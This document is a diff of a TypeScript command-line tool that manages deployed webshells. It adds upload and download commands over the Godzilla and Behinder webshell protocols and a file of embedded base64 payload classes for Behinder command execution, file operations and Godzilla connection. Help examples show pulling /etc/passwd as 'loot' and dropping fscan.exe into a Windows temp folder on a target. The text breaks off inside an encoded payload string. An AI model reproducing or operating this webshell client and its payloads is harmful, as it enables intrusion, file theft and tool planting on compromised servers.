+import { autoSaveShell, resolveConnection, type ResolvedConnection } from "../core/targets.js";
+
+interface TransferCmdOptions extends GlobalOptions {
+ url?: string;
+ tool?: string;
+ pass?: string;
+ key?: string;
+ headerName?: string;
+ headerValue?: string;
+ header?: string[];
+ insecure?: boolean;
+ json?: boolean;
+ save?: boolean;
+ output?: string;
+ force?: boolean;
+ remoteCharset?: string;
+}
+
+function parseExtraHeaders(lines: string[] | undefined): Record {
+ const headers: Record = {};
+ for (const line of lines ?? []) {
+ const idx = line.indexOf(":");
+ if (idx <= 0) {
+ throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`);
+ }
+ headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();
+ }
+ return headers;
+}
+
+interface ResolvedTransfer {
+ conn: ResolvedConnection;
+ common: CommonConnectOptions;
+}
+
+/** Resolve the target connection; on failure report + set exit code, return null. */
+function resolveTransfer(
+ name: string | undefined,
+ opts: TransferCmdOptions,
+ timeoutMs: number,
+): ResolvedTransfer | null {
+ let conn: ResolvedConnection;
+ try {
+ conn = resolveConnection(name, {
+ url: opts.url,
+ tool: opts.tool,
+ pass: opts.pass,
+ key: opts.key,
+ headerName: opts.headerName,
+ headerValue: opts.headerValue,
+ extraHeaders: parseExtraHeaders(opts.header),
+ insecure: opts.insecure,
+ });
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return null;
+ }
+ return {
+ conn,
+ common: {
+ headerName: conn.headerName,
+ headerValue: conn.headerValue,
+ extraHeaders: conn.extraHeaders,
+ timeoutMs,
+ insecure: conn.insecure,
+ },
+ };
+}
+
+/** A successful transfer proves the credentials — keep them as a named target. */
+function maybeAutoSave(conn: ResolvedConnection, opts: TransferCmdOptions): string | undefined {
+ if (conn.targetName !== undefined || opts.save === false) return undefined;
+ const savedAs = autoSaveShell(conn);
+ conn.targetName = savedAs;
+ return savedAs;
+}
+
+function printResult(
+ result: TransferResult,
+ localPath: string,
+ savedAs: string | undefined,
+ json: boolean | undefined,
+): void {
+ if (json) {
+ // a DownloadResult carries the file bytes in `data` — never print those
+ const { data: _data, ...wire } = result as DownloadResult;
+ process.stdout.write(`${JSON.stringify({ ...wire, localPath, savedAs }, null, 2)}\n`);
+ return;
+ }
+ if (result.ok) {
+ const [from, to] =
+ result.direction === "download"
+ ? [result.remotePath, localPath]
+ : [localPath, result.remotePath];
+ process.stdout.write(
+ `${result.direction === "download" ? "downloaded" : "uploaded"} ${result.bytes ?? 0} bytes: ` +
+ `${from} -> ${to} (${result.tool}, ${result.durationMs}ms)\n`,
+ );
+ if (result.detail) logInfo(`note: ${result.detail}`);
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
+ } else {
+ process.stderr.write(
+ `FAIL ${result.direction} ${result.tool} ${result.url}\n ${result.error ?? ""}\n`,
+ );
+ }
+}
+
+export function registerDownloadCommand(program: Command): void {
+ program
+ .command("download")
+ .description("Download a file from a deployed webshell")
+ .argument("[name]", "saved target name (see 'memparty list')")
+ .argument("[remote]", "remote file path")
+ .option("-u, --url ", "URL of the deployed shell (or give a saved target name)")
+ .addOption(
+ new Option("-t, --tool ", "shell protocol").choices(protocolNames("download")),
+ )
+ .option("-o, --output ", "local destination (a directory keeps the remote basename)")
+ .option("--force", "overwrite an existing local file")
+ .option("--pass ", "password (godzilla default: pass; behinder default: rebeyond)")
+ .option("--key ", "godzilla key (default: key)")
+ .option(
+ "--remote-charset ",
+ "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)",
+ )
+ .option(
+ "--header-name ",
+ "gate header name reported by gen (shellToolConfig.headerName)",
+ )
+ .option(
+ "--header-value ",
+ "gate header value reported by gen (shellToolConfig.headerValue)",
+ )
+ .option("-H, --header ", 'extra request header, e.g. -H "Cookie: a=b"')
+ .option("-k, --insecure", "skip TLS certificate verification")
+ .option("--json", "output raw JSON")
+ .option("--no-save", "do not auto-save the target after a successful download")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\
+ --header-value my-secret-token /etc/passwd -o loot-passwd
+ $ memparty download web222 C:\\Windows\\win.ini # saved target
+ $ memparty download web222 /var/log/app.log -o logs/ --json
+
+Integrity: godzilla verifies the transferred size; behinder additionally
+compares the remote MD5 against the received bytes. An existing local file
+is never overwritten unless --force is given.
+`,
+ )
+ .action(async (name: string | undefined, remote: string | undefined, opts: TransferCmdOptions, cmd: Command) => {
+ const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };
+ const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
+
+ // `download ` or `download `
+ let targetName = name;
+ let remotePath = remote;
+ if (remotePath === undefined) {
+ remotePath = name;
+ targetName = undefined;
+ }
+ if (!remotePath) {
+ reportError("missing remote file path — usage: memparty download [name] ", opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ const resolved = resolveTransfer(targetName, opts, timeoutMs);
+ if (!resolved) return;
+ const { conn, common } = resolved;
+
+ // decide + validate the local destination before touching the network
+ let localPath: string;
+ try {
+ localPath = resolveDownloadPath(remotePath, opts.output, opts.force ?? false);
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ let result: DownloadResult;
+ try {
+ const protocol = requireProtocol(conn.tool);
+ if (!protocol.download) {
+ reportError(unsupportedMessage(protocol, "download"), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+ const options: ProtocolOptions = { remoteCharset: opts.remoteCharset };
+ result = await protocol.download({ conn, common, options }, remotePath);
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ let writeError: string | undefined;
+ if (result.ok && result.data !== undefined) {
+ try {
+ writeFileSync(localPath, result.data);
+ } catch (err) {
+ writeError = `download succeeded but writing ${localPath} failed: ${
+ err instanceof Error ? err.message : String(err)
+ }`;
+ result = { ...result, ok: false, error: writeError };
+ }
+ }
+
+ const savedAs = result.ok ? maybeAutoSave(conn, opts) : undefined;
+ logOp({
+ category: "download",
+ action: "download",
+ targetName: conn.targetName,
+ url: conn.url,
+ tool: conn.tool,
+ ok: result.ok,
+ durationMs: result.durationMs,
+ detail: result.ok ? `${remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)` : undefined,
+ error: result.error,
+ meta: { remotePath, localPath, bytes: result.bytes },
+ });
+
+ printResult(result, localPath, savedAs, opts.json);
+ if (!result.ok) process.exitCode = 1;
+ });
+}
+
+export function registerUploadCommand(program: Command): void {
+ program
+ .command("upload")
+ .description("Upload a local file to a deployed webshell")
+ .argument("[name]", "saved target name (see 'memparty list')")
+ .argument("[local]", "local file path")
+ .argument("[remote]", "remote destination path")
+ .option("-u, --url ", "URL of the deployed shell (or give a saved target name)")
+ .addOption(
+ new Option("-t, --tool ", "shell protocol").choices(protocolNames("upload")),
+ )
+ .option("--pass ", "password (godzilla default: pass; behinder default: rebeyond)")
+ .option("--key ", "godzilla key (default: key)")
+ .option(
+ "--remote-charset ",
+ "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)",
+ )
+ .option(
+ "--header-name ",
+ "gate header name reported by gen (shellToolConfig.headerName)",
+ )
+ .option(
+ "--header-value ",
+ "gate header value reported by gen (shellToolConfig.headerValue)",
+ )
+ .option("-H, --header ", 'extra request header, e.g. -H "Cookie: a=b"')
+ .option("-k, --insecure", "skip TLS certificate verification")
+ .option("--json", "output raw JSON")
+ .option("--no-save", "do not auto-save the target after a successful upload")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\
+ --header-value my-secret-token fscan.exe C:\\Windows\\Temp\\f.exe
+ $ memparty upload web222 ./agent.jar /tmp/agent.jar --json
+
+Upload overwrites the remote file (truncate + write). Integrity: godzilla
+verifies the remote size afterwards; behinder compares MD5. A failed upload
+chunk aborts the transfer — the remote file may be left partial.
+`,
+ )
+ .action(async (name: string | undefined, local: string | undefined, remote: string | undefined, opts: TransferCmdOptions, cmd: Command) => {
+ const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };
+ const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
+
+ // `upload ` or `upload `
+ let targetName = name;
+ let localPath = local;
+ let remotePath = remote;
+ if (remotePath === undefined) {
+ remotePath = local;
+ localPath = name;
+ targetName = undefined;
+ }
+ if (!localPath || !remotePath) {
+ reportError("missing paths — usage: memparty upload [name] ", opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ const resolved = resolveTransfer(targetName, opts, timeoutMs);
+ if (!resolved) return;
+ const { conn, common } = resolved;
+
+ // read + validate the local file before touching the network
+ let data: Buffer;
+ try {
+ data = readUploadFile(localPath);
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ let result: TransferResult;
+ try {
+ const protocol = requireProtocol(conn.tool);
+ if (!protocol.upload) {
+ reportError(unsupportedMessage(protocol, "upload"), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+ const options: ProtocolOptions = { remoteCharset: opts.remoteCharset };
+ result = await protocol.upload({ conn, common, options }, remotePath, data);
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ const savedAs = result.ok ? maybeAutoSave(conn, opts) : undefined;
+ logOp({
+ category: "upload",
+ action: "upload",
+ targetName: conn.targetName,
+ url: conn.url,
+ tool: conn.tool,
+ ok: result.ok,
+ durationMs: result.durationMs,
+ detail: result.ok ? `${localPath} -> ${remotePath} (${result.bytes ?? 0} bytes)` : undefined,
+ error: result.error,
+ meta: { localPath, remotePath, bytes: result.bytes },
+ });
+
+ printResult(result, localPath, savedAs, opts.json);
+ if (!result.ok) process.exitCode = 1;
+ });
+}
diff --git a/tools/cli/src/commands/version.ts b/tools/cli/src/commands/version.ts
new file mode 100644
index 00000000..32d0cac9
--- /dev/null
+++ b/tools/cli/src/commands/version.ts
@@ -0,0 +1,40 @@
+import { Command } from "commander";
+
+import { createClient, type GlobalOptions } from "../cli-context.js";
+import { CLI_VERSION } from "../version.js";
+
+interface VersionCmdOptions extends GlobalOptions {
+ json?: boolean;
+}
+
+export function registerVersionCommand(program: Command): void {
+ program
+ .command("version")
+ .description("Show CLI version and the backend server version")
+ .option("--json", "output raw JSON")
+ .action(async (opts: VersionCmdOptions, cmd: Command) => {
+ const client = createClient(cmd.optsWithGlobals());
+ let server: Awaited> | { error: string };
+ try {
+ server = await client.getVersion();
+ } catch (err) {
+ server = { error: (err as Error).message };
+ }
+
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify({ cli: CLI_VERSION, server }, null, 2)}\n`);
+ return;
+ }
+
+ const lines = [`CLI: ${CLI_VERSION}`];
+ if ("error" in server) {
+ lines.push(`Server: (unavailable) ${server.error}`);
+ } else {
+ lines.push(`Server: ${server.currentVersion}`);
+ if (server.hasUpdate) {
+ lines.push(`Update: ${server.latestVersion} available`);
+ }
+ }
+ process.stdout.write(`${lines.join("\n")}\n`);
+ });
+}
diff --git a/tools/cli/src/connect/assets.ts b/tools/cli/src/connect/assets.ts
new file mode 100644
index 00000000..72d71c81
--- /dev/null
+++ b/tools/cli/src/connect/assets.ts
@@ -0,0 +1,992 @@
+/**
+ * Embedded webshell payload templates, base64-encoded so the bundled CLI
+ * stays self-contained (no runtime asset files to resolve).
+ *
+ * Regenerate from the binaries in src/connect/assets/ with:
+ * node scratch/connect-work/gen-assets.cjs
+ *
+ * Source binaries live in src/connect/assets/:
+ * - Echo.class: net.rebeyond.behinder.payload.java.Echo from Behinder v3 —
+ * the payload the Behinder client uploads for its echo/connect test.
+ * - Cmd.class: net.rebeyond.behinder.payload.java.Cmd from Behinder v3 —
+ * the payload the Behinder client uploads for command execution (its
+ * static `cmd` field is filled client-side before upload).
+ * - FileOperation.class: net.rebeyond.behinder.payload.java.FileOperation
+ * from Behinder v4.1 — the payload for file transfer (static fields
+ * mode/path/content/blockIndex/blockSize filled client-side).
+ * - GodzillaPayload.class: shells/payloads/java/assets/payload.classs from
+ * godzilla.jar — the payload class uploaded on Godzilla connect.
+ */
+
+const ECHO_CLASS_B64 =
+ "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsA" +
+ "vAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAi" +
+ "AM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADe" +
+ "CwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA" +
+ "8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQK" +
+ "AQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0" +
+ "AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1i" +
+ "ZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9F" +
+ "Y2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0" +
+ "aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZh" +
+ "cmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1T" +
+ "dGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9j" +
+ "cnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2Jv" +
+ "cwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwv" +
+ "TWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0" +
+ "cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztM" +
+ "amF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7" +
+ "KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2" +
+ "NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVl" +
+ "cnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAG" +
+ "cmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGls" +
+ "L0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1" +
+ "dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEV" +
+ "DAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEA" +
+ "EGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMM" +
+ "AGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8v" +
+ "Qnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEu" +
+ "dmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIB" +
+ "MwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApn" +
+ "ZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNv" +
+ "ZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9U" +
+ "aHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRp" +
+ "bC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRv" +
+ "cgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xh" +
+ "c3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNz" +
+ "OylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9s" +
+ "YW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcv" +
+ "U3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5n" +
+ "AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0" +
+ "by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkB" +
+ "ABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEA" +
+ "BmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEv" +
+ "dXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMo" +
+ "KVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2Jq" +
+ "ZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEA" +
+ "B2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzsp" +
+ "TGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEv" +
+ "bGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsB" +
+ "ABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEA" +
+ "YQAPAAAABQAJAGIAYwAAAAkAZABjAAAAAgBlAGYAAAACAGcAZgAAAAIAaABmAAAABwABAGkAagABAGsAAAAvAAEAAQAAAAUqtwAB" +
+ "sQAAAAIAbAAAAAYAAQAAAA4AbQAAAAwAAQAAAAUAbgBvAAAAAQBwAHEAAQBrAAADkwAJAAgAAAHWuwACWbcAA00qK7cABCwSBRIG" +
+ "uQAHAwBXLBIIsgAJuQAHAwBXKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQTi22AAsSEQS9AA1ZAxISU7YADjoEGQQtBL0AD1kD" +
+ "KiosBLcAExIUtgAVtwAWU7YAEFcttgALEhcDvQANtgAOLQO9AA+2ABBXLbYACxIYA70ADbYADi0DvQAPtgAQV6cBN04ttgAapwEv" +
+ "TiwSCC22ABu5AAcDAFcsEgUSBrkABwMAVyq0AAq2AAsSDAO9AA22AA4qtAAKA70AD7YAEE4ttgALEhEEvQANWQMSElO2AA46BBkE" +
+ "LQS9AA9ZAyoqLAS3ABMSFLYAFbcAFlO2ABBXLbYACxIXA70ADbYADi0DvQAPtgAQVy22AAsSGAO9AA22AA4tA70AD7YAEFenAJpO" +
+ "LbYAGqcAkjoFKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQOgYZBrYACxIRBL0ADVkDEhJTtgAOOgcZBxkGBL0AD1kDKiosBLcA" +
+ "ExIUtgAVtwAWU7YAEFcZBrYACxIXA70ADbYADhkGA70AD7YAEFcZBrYACxIYA70ADbYADhkGA70AD7YAEFenAAo6BhkGtgAaGQW/" +
+ "BKwABwAkAJ0AoAAZAAgAJACoABkAwQE6AT0AGQAIACQBRQAAAKgAwQFFAAABRwHHAcoAGQFFAUcBRQAAAAQAbAAAAJIAJAAAABgA" +
+ "CAAaAA0AGwAYABwAJAAyAEAAMwBUADQAcQA3AIcAOACdAD8AoAA7AKEAPgClAEAAqAAdAKkAHwC2ACAAwQAyAN0AMwDxADQBDgA3" +
+ "ASQAOAE6AD8BPQA7AT4APgFCAEABRQAmAUcAMgFkADMBeQA0AZcANwGvADgBxwA/AcoAOwHMAD4B0QBAAdQAQQBtAAAAhAANAEAA" +
+ "XQByAGYAAwBUAEkAcwB0AAQAoQAEAHUAdgADAKkAGAB1AHYAAwDdAF0AcgBmAAMA8QBJAHMAdAAEAT4ABAB1AHYAAwFkAGMAcgBm" +
+ "AAYBeQBOAHMAdAAHAcwABQB1AHYABgAAAdYAbgBvAAAAAAHWAHcAZgABAAgBzgB4AHkAAgB6AAAADAABAAgBzgB4AHsAAgB8AAAA" +
+ "PwAH/wCgAAMHAGEHAA8HAEsAAQcAGUcHABn3AJQHABlHBwBV/wCEAAYHAGEHAA8HAEsAAAcAVQABBwAZBvgAAgACAH0AfgACAGsA" +
+ "AAEAAAYACAAAAHAqtAActgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTSwSIbYAFU67ACJZLRIjtwAkOgQSJbgA" +
+ "JjoFGQUEGQS2ACgZBSu2ACk6BrsAKlm3ACs6BxkHGQa2ACwqGQe2AC23AC62AC+wAAAAAgBsAAAAJgAJAAAARwApAEgAMABJADwA" +
+ "SgBDAEsASwBMAFMATQBcAE4AYwBQAG0AAABSAAgAAABwAG4AbwAAAAAAcAB/AIAAAQApAEcAgQBjAAIAMABAAIIAgAADADwANACD" +
+ "AIQABABDAC0AhQCGAAUAUwAdAIcAgAAGAFwAFACIAIkABwCKAAAABAABABkAAgCLAIwAAwBrAAABdwADAAgAAACmuwAwWbcAMU4S" +
+ "MrgAMzoELRI0tgA1Vyu5ADYBALkANwEAOgUZBbkAOAEAmQBaGQW5ADkBAMAAHjoGLbsAMFm3ADESOrYANRkGtgA1Eju2ADW2ADy2" +
+ "ADVXKxkGuQA9AgDAAB46BxyZAA4qGQe2AC+3AC46By0ZB7YANVctEj62ADVXp/+iLbYAPBI/tgBAmQANLS22AEEEZLYAQi0SQ7YA" +
+ "NVcttgA8sAAAAAQAbAAAAD4ADwAAAFUACABWAA8AVwAWAFgAOQBaAFcAWwBkAFwAaABeAHMAYgB6AGMAgQBkAIQAZQCQAGYAmgBn" +
+ "AKEAaABtAAAASAAHAGQAHQCNAGMABwA5AEgAgQBjAAYAAACmAG4AbwAAAAAApgCOAHkAAQAAAKYAjwCQAAIACACeAJEAkgADAA8A" +
+ "lwCTAGMABAB6AAAADAABAAAApgCOAHsAAQB8AAAAGwAE/gAjBwAwBwAeBwCU/QBPBwAeBwAe+AAQFQCKAAAABAABABkAlQAAAAIA" +
+ "lgACAJcAmAACAGsAAAEtAAYAAwAAAK0rtgALtgBEEkW2AEabAFEqK7YACxJHA70ADbYADisDvQAPtgAQtQBIKiu2AAsSSQO9AA22" +
+ "AA4rA70AD7YAELUACiortgALEkoDvQANtgAOKwO9AA+2ABC1ABynACwrwABLTSosEky5AD0CALUAHCosEk25AD0CALUACiosEk65" +
+ "AD0CALUASCq0AAq2AAsSTwS9AA1ZAxIeU7YADiq0AAoEvQAPWQMSFFO2ABBXsQAAAAQAbAAAACoACgAAAGsADwBtACgAbgBBAG8A" +
+ "XQBzAGIAdABuAHUAegB2AIYAeACsAHkAbQAAACAAAwBiACQAmQB5AAIAAACtAG4AbwAAAAAArQB3AGYAAQB6AAAADAABAGIAJACZ" +
+ "AJoAAgB8AAAABgAC+wBdKACKAAAABAABABkAAgCbAJwAAgBrAAABdgAGAAcAAACTElBNEjK4ADM6BCq2AAtXElG4AFJOLRJTAbYA" +
+ "Di0BtgAQOgUZBbYACxJUBL0ADVkDEhJTtgAOGQUEvQAPWQMrU7YAEMAAHk2nAEo6BSq2AAtXEla4AFJOLbYAVzoGGQa2AAsSWAS9" +
+ "AA1ZAxISU7YADhkGBL0AD1kDK1O2ABDAAB5NLBJZElC2AFoSWxJQtgBaTSywAAEACgBHAEoAVQADAGwAAAAyAAwAAAB8AAMAfgAK" +
+ "AIEAFQCCACMAgwBHAIsASgCFAEwAhwBXAIgAXQCJAIEAigCRAIwAbQAAAFwACQAjACQAnQBmAAUAFQA1AJ4AnwADAF0ANACdAGYA" +
+ "BgBMAEUAoAChAAUAAACTAG4AbwAAAAAAkwCiAIAAAQADAJAAeABjAAIAVwA8AJ4AnwADAAoAiQCTAGMABAB8AAAALwAC/wBKAAUH" +
+ "AGEHABIHAB4ABwAeAAEHAFX/AEYABQcAYQcAEgcAHgcADQcAHgAAAIoAAAAEAAEAGQACAKMApAACAGsAAAD+AAYABgAAAGYqtAAc" +
+ "tgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTCsDBbYAXBAQuABdEBBwPbsAXlm3AF9OHLwIOgQDNgUVBRkEvqIA" +
+ "FhkEFQUtEQEAtgBgkVSEBQGn/+gZBLAAAAADAGwAAAAiAAgAAACPACkAkAA4AJEAQACSAEUAkwBQAJUAXQCTAGMAlwBtAAAAPgAG" +
+ "AEgAGwClAKYABQAAAGYAbgBvAAAAKQA9AIEAYwABADgALgCnAKYAAgBAACYAqACpAAMARQAhAKoAgAAEAHwAAAAaAAL/AEgABgcA" +
+ "YQcAHgEHAF4HABIBAAD6ABoAigAAAAQAAQAZAAEAqwAAAAIArA==";
+
+const CMD_CLASS_B64 =
+ "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDf" +
